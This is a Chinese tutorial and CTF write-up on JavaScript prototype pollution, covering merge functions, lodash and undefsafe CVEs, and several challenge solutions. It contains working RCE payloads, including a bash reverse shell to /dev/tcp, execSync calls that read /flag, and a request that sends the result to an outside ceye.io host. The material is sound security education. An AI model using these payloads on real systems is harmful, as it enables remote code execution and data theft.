写在前面

这个prototype污染是js种独有的安全问题，挺有一14。

在JavaScript发展历史上，很少有真正的私有属性，类的所有属性都允许被公开的访问和修改，包括proto，构造函数和原型。攻击者可以通过注入其他值来覆盖或污染这些proto，构造函数和原型属性。然后，所有继承了被污染原型的对象都会受到影响。原型链污染通常会导致拒绝服务、篡改程序执行流程、导致远程执行代码等漏洞。
原型链污染的发生主要有两种场景：不安全的对象递归合并和按路径定义属性。

原型链与原型

首先我们要搞清楚这样一件事

在JavaScript中只有一种结构:对象,也就是常说的"万物皆对象"。

而每个实例对象都有一个原型对象,而原型对象则引申出其对应的原型对象,经过一层层的链式调用,就构成了我们常说的"原型链"。

每个实例对象（object）都有一个私有属性（ __proto__）指向它的 构造函数的原型对象 （prototype）。该原型对象也有一个自己的原型对象（ __proto__），层层向上直到一个对象的原型对象为 null。根据定义，null 没有原型，并作为这个原型链中的最后一个环节。

我们可以通过以下方式访问得到某一实例对象的原型对象：

objectname.[[prototype]]
objectname.prototype
objectname["__proto__"]
objectname.__proto__
objectname.constructor.prototype

在创建对象时，就会有一些预定义的属性。其中在定义函数的时候，这个预定义属性就是 prototype，这个 prototype 是一个普通的原型对象。

而定义普通的对象的时候，就会生成一个 __proto__，这个 __proto__ 指向的是这个对象的构造函数的 prototype。

JavaScript 对象有一个指向一个原型对象的链。当试图访问一个对象的属性时，它不仅仅在该对象上搜寻，还会搜寻该对象的原型，以及该对象的原型的原型，依次层层向上搜索，直到找到一个名字匹配的属性或到达原型链的末尾。这条链子就是原型链了。

原型链继承

所有类对象在实例化的时候将会拥有prototype中的属性和方法，这个特性被用来实现JavaScript中的继承机制。

这里用一个p神的例子

function Father() {
    this.first_name = 'Donald'
    this.last_name = 'Trump'
}

function Son() {
    this.first_name = 'Melania'
}

Son.prototype = new Father()

let son = new Son()
console.log(`Name: ${son.first_name} ${son.last_name}`)

我们来分析一下这段代码，Son这个函数的原型通过Son.prototype = new Father()这一段代码继承了Father的属性，然后通过构造函数将Son实例化为对象son，当我们输出first_name的时候，引擎会先在构造出对象的函数中寻找，也就是在Son中寻找，找到了Melania并输出，在输出last_name的时候，先在Son中查找，没有找到，然后引擎就会去son.__proto__中寻找，通过我们的学习，可以知道son.__proto__ == Son.prototype，又因为Son.prototype = new Father()所以Son的圆形中就会有Father的属性，就输出了我们所看到的结果了。

那如果在son.__proto__中没找到呢？

如果仍然找不到，则继续在son.proto.proto中寻找last_name

依次寻找，直到找到null结束。比如，Object.prototype的proto就是null

JavaScript的这个查找的机制，被运用在面向对象的继承中，被称作prototype继承链。

我们需要记住：

每个构造函数(constructor)都有一个原型对象(prototype)

对象的proto属性，指向类的原型对象prototype

JavaScript使用prototype链实现继承机制

JSON语法

为啥要学这个呢？因为我们需要以这种形式对原型链进行传值，来对其进行污染

JSON 语法是 JavaScript 语法的子集。

JSON 语法衍生于 JavaScript 对象标记法语法：

数据在名称/值对中
数据由逗号分隔
花括号容纳对象
方括号容纳数组

JSON键/值对由键和值组成，键必须是字符串，值可以是字符串（string）、数值(number) 、对象（object）、数组（array）、true、false、null。

在定义JSON键/值时，先是键名，后面写一个冒号，然后是值。如：

"github": "https://github.com/"

就等价于

github = "https://github.com/"

再举个例子

var object = {
  'a': [{ 'b': 2 }, { 'd': 4 }]
};

var other = {
  'a': [{ 'c': 3 }, { 'e': 5 }]
};

_.merge(object, other);
// => { 'a': [{ 'b': 2, 'c': 3 }, { 'd': 4, 'e': 5 }] }

原型链污染

我们先看一个语句

object[a][b] = value

我们如果可以控制[a]、[b]和value的值，将[a]设置为__proto__，那我们就可以给对象的原型设置一个值为value的b属性了。

这样所有继承object对象原型的实例对象都将会在本身没有b这一属性的情况下，拥有一个值为value的b属性。

举个例子

为啥没在object2中设置foo属性还可以输出Hello World呢？

是因为在第二条语句中，我们对 object1 的原型对象设置了一个 foo 属性，而 object2 和 object1 一样，都是继承了 Object.prototype。在获取 object2.foo 时，由于 object2 本身不存在 foo 属性，就会往父类 Object.prototype 中去寻找。

这就造成了一个原型链污染，所以原型链污染简单来说就是如果能够控制并修改一个对象的原型，就可以影响到所有和这个对象同一个原型的对象。

Merge 类操作导致原型链污染

哪些情况下我们可以设置__proto__的值呢？其实找找能够控制数组（对象）的“键名”的操作即可：

Merge 类操作是最常见可能控制键名的操作，也最能被原型链攻击。

这里还是p神的例子

以对象merge为例，我们想象一个简单的merge函数：

function merge(target, source) {
    for (let key in source) {
        if (key in source && key in target) {
            merge(target[key], source[key])
        } else {
            target[key] = source[key]
        }
    }
}

在合并的过程中，存在赋值的操作target[key] = source[key]，那么，这个key如果是__proto__，是不是就可以原型链污染呢？

我们用如下代码实验一下：

let o1 = {}
let o2 = {a: 1, "__proto__": {b: 2}}
merge(o1, o2)
console.log(o1.a, o1.b)

可以看到，数据被合并了，那么验证一下原型链有没有被污染

可以看的出来，并没有。

这是因为，我们用JavaScript创建o2的过程（let o2 = {a: 1, "__proto__": {b: 2}}）中，__proto__已经代表o2的原型了，此时遍历o2的所有键名，你拿到的是[a, b]，__proto__并不是一个key，自然也不会修改Object的原型。

那么，如何让__proto__被认为是一个键名呢？

我们将代码改成如下：

let o1 = {}
let o2 = JSON.parse('{"a": 1, "__proto__": {"b": 2}}')
merge(o1, o2)
console.log(o1.a, o1.b)

o3 = {}
console.log(o3.b)

可见，新建的o3对象，也存在b属性，说明Object已经被污染：

这是因为，JSON解析的情况下，__proto__会被认为是一个真正的“键名”，而不代表“原型”，所以在遍历o2的时候会存在这个键。

像这样的一段代码

function merge(a, b) {
    for (var attr in b) {
        if (isObject(a[attr]) && isObject(b[attr])) {
            merge(a[attr], b[attr]);
        } else {
            a[attr] = b[attr];
        }
    }
    return a
}

merge函数首先迭代第二个对象b上的所有属性(因为在相同的键值对的情况下，第二个对象是优先的)。
如果属性同时存在于第一个和第二个参数上，并且它们都是Object类型，那么Merge函数将重新开始合并它。

在这里可以控制b[attr]的值，将attr设为__proto__，也可以控制b中proto属性内的值，那当递归时，a[attr]在某个点实际上将指向对象a的原型，至此通过递归我们向所有对象添加一个新属性。

需要配合JSON.parse使得我们输入的__proto__被解析成键名，JSON解析的情况下，__proto__会被认为是一个真正的“键名”，而不代表“原型”，否则它只会被当作当前对象的”原型“而不会向上影响

>let o2 = {a: 1, "__proto__": {b: 2}}
>merge({}, o2)
<undefined


>o2.__proto__
<{b: 2}          


>console.log({}.b)
<undefined        //并未污染原型


>let o3 = JSON.parse('{"a": 1, "__proto__": {"b": 2}}')
>merge({},o3)
<undefined


>console.log({}.b)
<2             //成功污染

那么Merge()为什么不安全呢？

这个函数对 source 对象中的所有属性进行迭代（因为对象 source 在键值对相同的情况下拥有更高的优先级）
如果属性同时存在于第一个和第二个参数中，且他们都是 Object，它就会递归地合并这个属性。
现在我们如果控制 source[key] 的值，使其值变成 __proto__，且我们能控制 source 中 __proto__ 属性的值，在递归的时候，target[key] 在某个特定的时候就会指向对象 target 的 prototype，我们就能成功地添加一个新的属性到该对象的原型链中了。

一到用到了Merge类操作的题目：[GYCTF2020]Ez_Express

进入题目后发现是一个登陆界面，直接登陆的话会提示需要先注册，用admin注册的话会提示禁用字符，访问www.zip获取源码

在/route/index.js中发现了Merge操作，同时还有一个可疑的clone

我们找一下clone方法

可以看到，需要user是ADMIN我们才能使用clone

这个就关系到登陆了，我们查看一下登陆相关的路由

这里了一个safekeyword的方法来审查注册，我们跟进

哦，就是不能注册admin，但我们需要用admin的身份

注意到有一个toUpperCase的函数被调用了，也就是会把user的注册内容转化成为大写，这就可以利用Fuzz中的JavaScript的大小写特性。

toUpperCase()是javascript中将小写转换成大写的函数。toLowerCase()是javascript中将大写转换成小写的函数。

但我们用脚本fuzz过后

出现了俩奇怪的东西"ı"、"ſ"。

这两个字符的“大写”是I和S。也就是说"ı".toUpperCase() == 'I'，"ſ".toUpperCase() == 'S'。通过这个小特性可以绕过一些限制。

toLowerCase也有同样的字符：

这个"K"的“小写”字符是k，也就是"K".toLowerCase() == 'k'.

那我们就可以借助"ı"来完成admin的注册了

成功注册，这里还说了flag的目录

这样我们就来到了原型链污染的部分了，那么污染那个属性呢？

可以看到在 /info 下，将 res 对象中的 outputFunctionName 属性渲染入 index 中，而 outputFunctionName 是未定义的：

回到界面上，提交我们喜爱的语言然后抓包

将 Content-Type 设为 application/json，POST Body 部分改为 Json 格式的数据并加上Payload：

{"lua":"123","__proto__":{"outputFunctionName":"t=1;return global.process.mainModule.constructor._load('child_process').execSync('cat /flag').toString()//"},"Submit":""}

可以看到success了

其实这个题还有个非预期

在这里我们可以看到这个题是使用了ejs这个模板引擎

这个引擎特征

const express = require('express');
const path = require('path');

const app = express();

app.listen(3000, () => {
    console.log('3000端口');
});

//设置ejs:
app.set('view engine', 'ejs'); //设置模板引擎为ejs
app.set('views', [`${path.join(__dirname,'moban')}`, `${path.join(__dirname,'views')}`]); //设置模板文件的存放位置
app.engine('html', require('ejs').__express); //将html文件作为ejs模板文件来解析

但这个模板引擎本身是存在原形污染的，可以直接进行rce，且有大把现成的exp....

{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/ip/监听端口 0>&1\"');var __tmp2"}}

先访问/action进行原型链污染，再访问/info进行模板渲染，实现RCE

接着post访问api.js就可以反弹shell了

另一道用到了Merge类操作的题目：[HackIM Nullcon CTF 2019] – Proton

'use strict';

const express = require('express');
const bodyParser = require('body-parser')
const cookieParser = require('cookie-parser');
const path = require('path');


const isObject = obj => obj && obj.constructor && obj.constructor === Object;

function merge(a, b) {
    for (var attr in b) {
        if (isObject(a[attr]) && isObject(b[attr])) {
            merge(a[attr], b[attr]);
        } else {
            a[attr] = b[attr];
        }
    }
    return a
}

function clone(a) {
    return merge({}, a);
}

// Constants
const PORT = 8080;
const HOST = '0.0.0.0';
const admin = {};

// App
const app = express();
app.use(bodyParser.json())    // 调用中间件解析json
app.use(cookieParser());

app.use('/', express.static(path.join(__dirname, 'views')));
app.post('/signup', (req, res) => {
    var body = JSON.parse(JSON.stringify(req.body));
    var copybody = clone(body)
    if (copybody.name) {
        res.cookie('name', copybody.name).json({
            "done": "cookie set"
        });
    } else {
        res.json({
            "error": "cookie not set"
        })
    }
});
app.get('/getFlag', (req, res) => {
    var аdmin = JSON.parse(JSON.stringify(req.cookies))
    if (admin.аdmin == 1) {
        res.send("hackim19{}");
    } else {
        res.send("You are not authorized");
    }
});
app.listen(PORT, HOST);
console.log(`Running on http://${HOST}:${PORT}`);

这里我们可以看出我们需要让admin = 1就行了

要满足admin.аdmin等于1。因为__proto__是一个Object，会递归进入merge()，由于__proto__有一对key-value，所以会判断__proto__["admin"]是否是Object，不是就进入else，对原型__proto__["admin"]赋值为1，这就完成了原型链污染的操作。

因此最简单的 Payload 就是：

{"__proto__": {"admin": 1}

一个关于Merge的漏洞：merge.recursiveMerge CVE-2020-28499

此 CVE 影响 2.1.1 以下的 merge 版本

测试代码：

const merge = require('merge');

const payload2 = JSON.parse('{"x": {"__proto__":{"polluted":"yes"}}}');

let obj1 = {x: {y:1}};

console.log("Before : " + obj1.polluted);
merge.recursive(obj1, payload2);
console.log("After : " + obj1.polluted);
console.log("After : " + {}.polluted);

结果如下

漏洞成因

首先对于传入的数据没有严格的审核

导致了recursive方法中的键值是可以控制的，我们可以直接通过他来对原型进行更改

修复也自然就是对传入的数据进行过滤

Lodash 模块原型链污染

Lodash 是一个 JavaScript 库，包含简化字符串、数字、数组、函数和对象编程的工具，可以帮助程序员更有效地编写和维护 JavaScript 代码。并且是一个流行的 npm 库，仅在GitHub 上就有超过 400 万个项目使用，Lodash的普及率非常高，每月的下载量超过 8000 万次。但是这个库中有几个严重的原型污染漏洞。

一个关于Lodash的漏洞：lodash.defaultsDeep 方法 CVE-2019-10744

2019 年 7 月 2 日，Snyk 发布了一个高严重性原型污染安全漏洞（CVE-2019-10744），影响了小于 4.17.12 的所有版本的 lodash。

Lodash 库中的 defaultsDeep 函数可能会被包含 constructor 的 Payload 诱骗添加或修改Object.prototype 。最终可能导致 Web 应用程序崩溃或改变其行为，具体取决于受影响的用例。以下是 Snyk 给出的此漏洞验证 POC：

const mergeFn = require('lodash').defaultsDeep;
const payload = '{"constructor": {"prototype": {"whoami": "Vulnerable"}}}'

function check() {
    mergeFn({}, JSON.parse(payload));
    if (({})[`a0`] === true) {
        console.log(`Vulnerable to Prototype Pollution via ${payload}`);
    }
  }

check();

console.log(Object.whoami);

我们在mergeFn({}, JSON.parse(payload));处下断点，单步结束后可以看到：

成功在类型为 Object 的 a 对象的 __proto__ 属性中添加了一个 whoami 属性，值为 Vulnerable，污染成功。

原型被污染了

在 lodash.merge 方法造成的原型链污染中，为了实现代码执行，我们常常会污染 sourceURL 属性，即给所有 Object 对象中都插入一个 sourceURL 属性，然后通过 lodash.template 方法中的拼接实现任意代码执行漏洞。后面会讲到。

lodash.merge 方法造成的原型链污染

Lodash.merge 作为 lodash 中的对象合并插件，他可以递归合并 sources 来源对象自身和继承的可枚举属性到 object 目标对象，以创建父映射对象：

merge(object, sources)

这种格式的东西在原型链污染中是出现频率很高的危险函数之一

这里当两个键相同的时候，生成的对象将有最右边的值，在这里也就是sources的值。当有多个对象相同的时候，那么新生成的对象将只有一个与这些对象相对应的键和值。这也就是之前在Merge类污染的时候讲过的递归那一块，其实和之前说的Merge类污染是很相似的，我们来看源码。

node_modules/lodash/merge.js

直接调用了baseMerge方法，我们直接跟进

node_modules/lodash/_baseMerge.js

这里对srcValue有一个筛选，如果他是一个对象的话就进入baseMergeDeep方法，我们要去Merge的对象一定是个Object

node_modules/lodash/_baseMergeDeep.js

这里对于上一步的srcValue直接丢进了assignMergeValue中，继续跟进

node_modules/lodash/_assignMergeValue.js：

这里对value的值和对象键名啥的进行一个筛选，但是最终就是进入baseAssignValue

node_modules/lodash/_baseAssignValue.js

这里可以进行绕过

prefixPayload = { nickname: "Will1am" };
payload：{"constructor": {"prototype": {"role": "admin"}}}
_.merge(prefixPayload, payload);

最终进入 object[key] = value 的赋值操作。

也就是object[prototype] = {"role": "admin"}

这样就给原型对象赋值了一个名为role，值为admin的属性

POC：

var lodash= require('lodash');
var payload = '{"__proto__":{"polluted":"yes"}}';

var a = {};
console.log("Before polluted: " + a.polluted);
lodash.merge({}, JSON.parse(payload));
console.log("After polluted: " + a.polluted);

我们在 lodash.merge({}, JSON.parse(payload)); 处下断点，单步结束后可以看到：

成功在类型为 Object 的 a 对象的 __proto__ 属性中添加了一个 polluted 属性，值为 yes，污染成功。

运行结果也表示了污染成功

lodash.mergeWith 方法 CVE-2018-16487

这个方法类似于 merge 方法。但是它还会接受一个 customizer，以决定如何进行合并。如果 customizer 返回 undefined 将会由合并处理方法代替。

mergeWith(object, sources, [customizer])

这个方法在4.0.0版本之后添加的

这个方法除了多了个customizer其实和上面分析的路径是一样的，就不一步一步的卸载这里了

这个参数对于我们的利用路径也没啥影响

var lodash= require('lodash');
var payload = '{"__proto__":{"polluted":"yes"}}';

var a = {};
console.log("Before polluted: " + a.polluted);
lodash.merge({}, JSON.parse(payload));
console.log("After polluted: " + a.polluted);

我们在 lodash.mergeWith({}, JSON.parse(payload)); 处下断点，单步结束后可以看到：

成功在类型为 Object 的 a 对象的 __proto__ 属性中添加了一个 polluted 属性，值为 yes，污染成功。

lodash.set 方法造成的原型链污染

设置object对象中对应 path 属性路径上的值，如果path不存在，则创建。缺少的索引属性会创建为数组，而缺少的属性会创建为对象。使用_.setWith 定制path创建。

Note: 这个方法会改变 object。

set(object, path, value)

object (Object): 要修改的对象。
path (Array|string): 要设置的对象路径。
value (*): 要设置的值。

返回(Object): 返回 object。

例子

var object = { 'a': [{ 'b': { 'c': 3 } }] };
 _.set(object, 'a[0].b.c', 4);
console.log(object.a[0].b.c);
// => 4 
_.set(object, ['x', '0', 'y', 'z'], 5);
console.log(object.x[0].y.z);
// => 5

其实作用就是修改指定路径的值

看源码

这里指向了baseSet，跟进

这里必然是一个对象，进入if循环，但我们更改的主要是路径，通过路径对原型链进行污染

跟进baseToPath方法

这里对我们传入的path进行一个条件运算，很显然我们传入的一般不是一个数组，跟进到stringToPath方法

可以看到也没有啥过滤

如果没有对传入的参数进行过滤，则可能会造成原型链污染。下面给出一个验证漏洞的 POC：

var lodash= require('lodash');

var object_1 = { 'a': [{ 'b': { 'c': 3 } }] };
var object_2 = {}

console.log(object_1.whoami);
//lodash.set(object_2, 'object_2["__proto__"]["whoami"]', 'Vulnerable');
lodash.set(object_2, '__proto__.["whoami"]', 'Vulnerable');
console.log(object_1.whoami);

我们在 lodash.set(object_2, '__proto__.["whoami"]', 'Vulnerable'); 处下断点，单步结束后可以看到：

在类型为 Array 的 object_1 对象的 __proto__ 属性中出现了一个 whoami 属性，值为 Vulnerable，污染成功。

lodash.setWith 方法造成的原型链污染

这个也是，类似于上面讲的set方法，但是还回接受一个customizer，用来调用并决定如何设置对象路径的值。如果 customizer 返回 undefined 将会有它的处理方法代替。customizer 调用3个参数： (nsValue, key, nsObject) 。

该方法与 set 方法一样可以进行原型链污染，基本上差不多，就不单出拿出分析了，下面给出一个验证漏洞的 POC：

var lodash= require('lodash');

var object_1 = { 'a': [{ 'b': { 'c': 3 } }] };
var object_2 = {}

console.log(object_1.whoami);
//lodash.setWith(object_2, 'object_2["__proto__"]["whoami"]', 'Vulnerable');
lodash.setWith(object_2, '__proto__.["whoami"]', 'Vulnerable');
console.log(object_1.whoami);

我们在 lodash.setWith(object_2, '__proto__.["whoami"]', 'Vulnerable'); 处下断点，单步结束后可以看到：

在类型为 Array 的 object_1 对象的 __proto__ 属性中出现了一个 whoami 属性，值为 Vulnerable，污染成功。

lodash.zipObjectDeep 方法 CVE-2020-8203

例子

_.zipObjectDeep(['a.b[0].c', 'a.b[1].d'], [1, 2]);
// => { 'a': { 'b': [{ 'c': 1 }, { 'd': 2 }] } }

影响版本 < 4.17.16，这里的测试版本是4.17.15

POC

const _ = require('lodash');

_.zipObjectDeep(['__proto__.z'],[123])

console.log(z) // 123

看看源码

该函数可以根据props数组指定的属性进行对象“压缩”，属性值由values数组指定。

所以传入的也就变成baseZipObject(['__proto__.z'],[123],baseSet)

跟进baseZipObject

POC中调用baseZipObject函数时，length等于1，varsLength等于1，assignFunc是baseSet。

因此执行的其实是

baseSet({}, '__proto__.z', 123)

这个版本的baseSet和我们上面讲到的漏洞有所不同

这里用到castPath将路径__proto__.z解析成属性数组['__proto__','z']

然后就进入了while循环，大概执行了以下操作：

按属性数组中元素的顺序，依次获取对象原有的属性值，并进行赋值；

如果该属性不是数组的最后一个元素，那赋值为对象本身，或空数组，或{}。

如果是数组的最后一个元素，就将该属性赋值为我们期望的value。

我们在_.zipObjectDeep(['__proto__.z'],[123])下一个断点，然后单步执行查看结果

可以看到，原型链被污染了，每一个现有对象和新建对象都将有一个属性z。

配合 lodash.template 实现 RCE

Lodash.template 是 Lodash 中的一个简单的模板引擎，创建一个预编译模板方法，可以插入数据到模板中 "interpolate" 分隔符相应的位置。 HTML会在 "escape" 分隔符中转换为相应实体。在 "evaluate" 分隔符中允许执行JavaScript代码。在模板中可以自由访问变量。如果设置了选项对象，则会优先覆盖 _.templateSettings 的值。

在 Lodash 的原型链污染中，为了实现代码执行，我们常常会污染 template 中的 sourceURL 属性

我们看一下相关的源码

// Use a sourceURL for easier debugging.
var sourceURL = 'sourceURL' in options ? '//# sourceURL=' + options.sourceURL + '\n' : '';
// ...
var result = attempt(function() {
  return Function(importsKeys, sourceURL + 'return ' + source)
  .apply(undefined, importsValues);
});

可以看到 sourceURL 属性是通过一个三元运算赋值，options是一个对象，sourceURL取到了其options.sourceURL属性。这个属性原本是没有赋值的，默认取空字符串。

但因为原型链污染，我们可以给所有Object对象中都插入一个sourceURL属性。最后，这个sourceURL被拼接进new Function的第二个参数中，造成任意代码执行漏洞。

这里要注意的是 Function 内是没有 require 函数的，我们不能直接使用 require('child_process') ，但是我们可以使用 global.process.mainModule.constructor._load 这一串来代替，后续的调用就很简单了。

\u000areturn e => {return global.process.mainModule.constructor._load('child_process').execSync('cat /flag').toString()//"}

[Code-Breaking 2018] Thejs

这道题是看P神文章里面写的，摘出来分析一下

没找到环境，简单分一下吧

源码如下

const fs = require('fs')
const express = require('express')
const bodyParser = require('body-parser')
const lodash = require('lodash')
const session = require('express-session')
const randomize = require('randomatic')

const app = express()
app.use(bodyParser.urlencoded({extended: true})).use(bodyParser.json())
app.use('/static', express.static('static'))
app.use(session({
    name: 'thejs.session',
    secret: randomize('aA0', 16),
    resave: false,
    saveUninitialized: false
}))
app.engine('ejs', function (filePath, options, callback) { // define the template engine
    fs.readFile(filePath, (err, content) => {
        if (err) return callback(new Error(err))
        let compiled = lodash.template(content)
        let rendered = compiled({...options})

        return callback(null, rendered)
    })
})
app.set('views', './views')
app.set('view engine', 'ejs')

app.all('/', (req, res) => {
    let data = req.session.data || {language: [], category: []}
    if (req.method == 'POST') {
        data = lodash.merge(data, req.body)
        req.session.data = data
    }

    res.render('index', {
        language: data.language, 
        category: data.category
    })
})

app.listen(3000, () => console.log(`Example app listening on port 3000!`))

比较重要的代码如下

// ...
const lodash = require('lodash')
// ...

app.engine('ejs', function (filePath, options, callback) { 
// define the template engine
    fs.readFile(filePath, (err, content) => {
        if (err) return callback(new Error(err))
        let compiled = lodash.template(content)
        let rendered = compiled({...options})

        return callback(null, rendered)
    })
})
//...

app.all('/', (req, res) => {
    let data = req.session.data || {language: [], category: []}
    if (req.method == 'POST') {
        data = lodash.merge(data, req.body)
        req.session.data = data
    }

    res.render('index', {
        language: data.language, 
        category: data.category
    })
})

其实整个应用逻辑很简单，用户提交的信息，用merge方法合并到session里，多次提交，session里最终保存你提交的所有信息。

问题出在了lodashs.merge函数这里，这个函数存在原型链污染漏洞，会直接将注入原型的属性的值写去最底层的object。我们需要找到可以利用的点。因为通过漏洞可以控制某一种实例对象原型的属性，所以我们需要去寻找一个可以被利用的属性。

在template函数中我们可以找到利用点

var result = attempt(function() {
  return Function(importsKeys, sourceURL + 'return ' + source)
    .apply(undefined, importsValues);
});

看下sourceURL

option是在模板引擎中渲染的值。这里读的是sourceURL属性的值，我们可以通过添加一个sourceURL属性，修改它的值，通过js原型链污染在function中达到执行js的目的，模板：

new Function("","//# sourceURL='xxx'\r\n CODE \r\n")();

因为require不是全局的，他只存在于当前的模块范围，但是new function是在新的领域运行的，所以我们想利用的话要先将它引用过来

{"__proto__":{"sourceURL":"xxx\r\nvar require = global.require || global.process.mainModule.constructor._load;var result = require('child_process').execSync('cat /flag_thepr0t0js').toString();var req = require('http').request(`http://onsdtb.ceye.io/${result}`);req.end();\r\n"}}

Undefsafe 模块原型链污染（CVE-2019-10795）

Undefsafe 是 Nodejs 的一个第三方模块，其核心为一个简单的函数，用来处理访问对象属性不存在时的报错问题。但其在低版本（< 2.0.3）中存在原型链污染漏洞，攻击者可利用该漏洞添加或修改 Object.prototype 属性。

var a = require("undefsafe");
var object = {
    a: {
        b: {
            c: 1,
            d: [1,2,3],
            e: 'skysec'
        }
    }
};
console.log(object.a.b.e)
// skysec

可以看到当我们正常访问object属性的时候会有正常的回显

但当我们访问不存在属性时则会得到报错

在编程时，代码量较大时，我们可能经常会遇到类似情况，导致程序无法正常运行，发送我们最讨厌的报错。那么 undefsafe 可以帮助我们解决这个问题：

那么当我们无意间访问到对象不存在的属性时，就不会再进行报错，而是会返回 undefined 了

同时在对对象赋值时，如果目标属性存在：

我们可以看到，其可以帮助我们修改对应属性的值。如果当属性不存在时，我们想对该属性赋值：

访问属性会在上层进行创建并赋值。

undefsafe 模块漏洞分析

通过以上演示我们可知，undefsafe 是一款支持设置值的函数。但是 undefsafe 模块在小于2.0.3版本，存在原型链污染漏洞（CVE-2019-10795）。

我们在 2.0.3 版本中进行测试：

var a = require("undefsafe");
var object = {
    a: {
        b: {
            c: 1,
            d: [1,2,3],
            e: 'skysec'
        }
    }
};
var payload = "__proto__.toString";
a(object,payload,"evilstring");
console.log(object.toString);
// [Function: toString]

这里object.toString的值本来是存在的，我们通过Undefsafe将其更改成了我们想要执行的语句

也就是说当undefsafe()函数的第 2，3 个参数可控时，我们便可以污染 object 对象中的值。

var a = require("undefsafe");
var test = {}
console.log('this is '+test)    // 将test对象与字符串'this is '进行拼接
// this is [object Object]

返回：[object Object]，并与this is进行拼接。但是当我们使用 undefsafe 的时候，可以对原型进行污染：

var a = require("undefsafe");
var test = {}
a(test,'__proto__.toString',function(){ return 'just a evil!'})
console.log('this is '+test)    // 将test对象与字符串'this is '进行拼接
// this is just a evil!

可以看到最终输出了 "this is just a evil!"。这就是因为原型链污染导致，当我们将对象与字符串拼接时，即将对象当做字符串使用时，会自动其触发 toString 方法。但由于当前对象中没有，则回溯至原型中寻找，并发现toString方法，同时进行调用，而此时原型中的toString方法已被我们污染，因此可以导致其输出被我们污染后的结果。

[网鼎杯 2020 青龙组]notes

题目给出了源码

var express = require('express');
var path = require('path');
const undefsafe = require('undefsafe');
const { exec } = require('child_process');


var app = express();
class Notes {
    constructor() {
        this.owner = "whoknows";
        this.num = 0;
        this.note_list = {};
    }

    write_note(author, raw_note) {
        this.note_list[(this.num++).toString()] = {"author": author,"raw_note":raw_note};
    }

    get_note(id) {
        var r = {}
        undefsafe(r, id, undefsafe(this.note_list, id));
        return r;
    }

    edit_note(id, author, raw) {
        undefsafe(this.note_list, id + '.author', author);
        undefsafe(this.note_list, id + '.raw_note', raw);
    }

    get_all_notes() {
        return this.note_list;
    }

    remove_note(id) {
        delete this.note_list[id];
    }
}

var notes = new Notes();
notes.write_note("nobody", "this is nobody's first note");


app.set('views', path.join(__dirname, 'views'));
app.set('view engine', 'pug');

app.use(express.json());
app.use(express.urlencoded({ extended: false }));
app.use(express.static(path.join(__dirname, 'public')));


app.get('/', function(req, res, next) {
  res.render('index', { title: 'Notebook' });
});

app.route('/add_note')
    .get(function(req, res) {
        res.render('mess', {message: 'please use POST to add a note'});
    })
    .post(function(req, res) {
        let author = req.body.author;
        let raw = req.body.raw;
        if (author && raw) {
            notes.write_note(author, raw);
            res.render('mess', {message: "add note sucess"});
        } else {
            res.render('mess', {message: "did not add note"});
        }
    })

app.route('/edit_note')
    .get(function(req, res) {
        res.render('mess', {message: "please use POST to edit a note"});
    })
    .post(function(req, res) {
        let id = req.body.id;
        let author = req.body.author;
        let enote = req.body.raw;
        if (id && author && enote) {
            notes.edit_note(id, author, enote);
            res.render('mess', {message: "edit note sucess"});
        } else {
            res.render('mess', {message: "edit note failed"});
        }
    })

app.route('/delete_note')
    .get(function(req, res) {
        res.render('mess', {message: "please use POST to delete a note"});
    })
    .post(function(req, res) {
        let id = req.body.id;
        if (id) {
            notes.remove_note(id);
            res.render('mess', {message: "delete done"});
        } else {
            res.render('mess', {message: "delete failed"});
        }
    })

app.route('/notes')
    .get(function(req, res) {
        let q = req.query.q;
        let a_note;
        if (typeof(q) === "undefined") {
            a_note = notes.get_all_notes();
        } else {
            a_note = notes.get_note(q);
        }
        res.render('note', {list: a_note});
    })

app.route('/status')
    .get(function(req, res) {
        let commands = {
            "script-1": "uptime",
            "script-2": "free -m"
        };
        for (let index in commands) {
            exec(commands[index], {shell:'/bin/bash'}, (err, stdout, stderr) => {
                if (err) {
                    return;
                }
                console.log(`stdout: ${stdout}`);
            });
        }
        res.send('OK');
        res.end();
    })


app.use(function(req, res, next) {
  res.status(404).send('Sorry cant find that!');
});


app.use(function(err, req, res, next) {
  console.error(err.stack);
  res.status(500).send('Something broke!');
});


const port = 8080;
app.listen(port, () => console.log(`Example app listening at http://localhost:${port}`))

我们注意到其使用了 undefsafe 模块，那么如果我们可以操纵其第 2、3 个参数，即可进行原型链污染，则可使目标网站存在风险。故此，我们首先要寻找 undefsafe 的调用点：

get_note(id) {
    var r = {}
    undefsafe(r, id, undefsafe(this.note_list, id));
    return r;
}

edit_note(id, author, raw) {
    undefsafe(this.note_list, id + '.author', author);
    undefsafe(this.note_list, id + '.raw_note', raw);
}

这里的r是个空的属性，是很显然是比较容易利用的，同时再查看和编辑note的时候还调用了undefsafe方法，那我们下一步就看看get_note在哪里会被调用

app.route('/notes')
    .get(function(req, res) {
        let q = req.query.q;
        let a_note;
        if (typeof(q) === "undefined") {
            a_note = notes.get_all_notes();
        } else {
            a_note = notes.get_note(q);
        }
        res.render('note', {list: a_note});
    })

这个路由主要就是用来查看notes的，当我们指定一个q，也就是指定一个查看的note时，就会调用get_note

既然q是我们可以指定的，也就说明他是一个可控的参数，但这样只能控制undefsafe得第二个参数而已，而第三个参数我们无法控制

但在/edit_note路由中存在一个edit_note的方法

app.route('/edit_note')
    .get(function(req, res) {
        res.render('mess', {message: "please use POST to edit a note"});
    })
    .post(function(req, res) {
        let id = req.body.id;
        let author = req.body.author;
        let enote = req.body.raw;
        if (id && author && enote) {
            notes.edit_note(id, author, enote);
            res.render('mess', {message: "edit note sucess"});
        } else {
            res.render('mess', {message: "edit note failed"});
        }
    })

此时的id, author, enote三个参数都是可控的参数，那么我们则可以操纵原型链进行污染

edit_note(id, author, raw) {
        undefsafe(this.note_list, id + '.author', author);
        undefsafe(this.note_list, id + '.raw_note', raw);
    }

那么既然找到了可以进行原型链污染的位置，就要查找何处可以利用污染的值造成攻击，我们依次查看路由，发现 /status 路由有命令执行的操作：

app.route('/status')    // 漏洞点，只要将字典commands给污染了，就能执行我们的任意命令
    .get(function(req, res) {
        let commands = {
            "script-1": "uptime",
            "script-2": "free -m"
        };
        for (let index in commands) {
            exec(commands[index], {shell:'/bin/bash'}, (err, stdout, stderr) => {
                if (err) {
                    return;
                }
                console.log(`stdout: ${stdout}`);    // 将命令执行结果输出
            });
        }
        res.send('OK');
        res.end();
    })

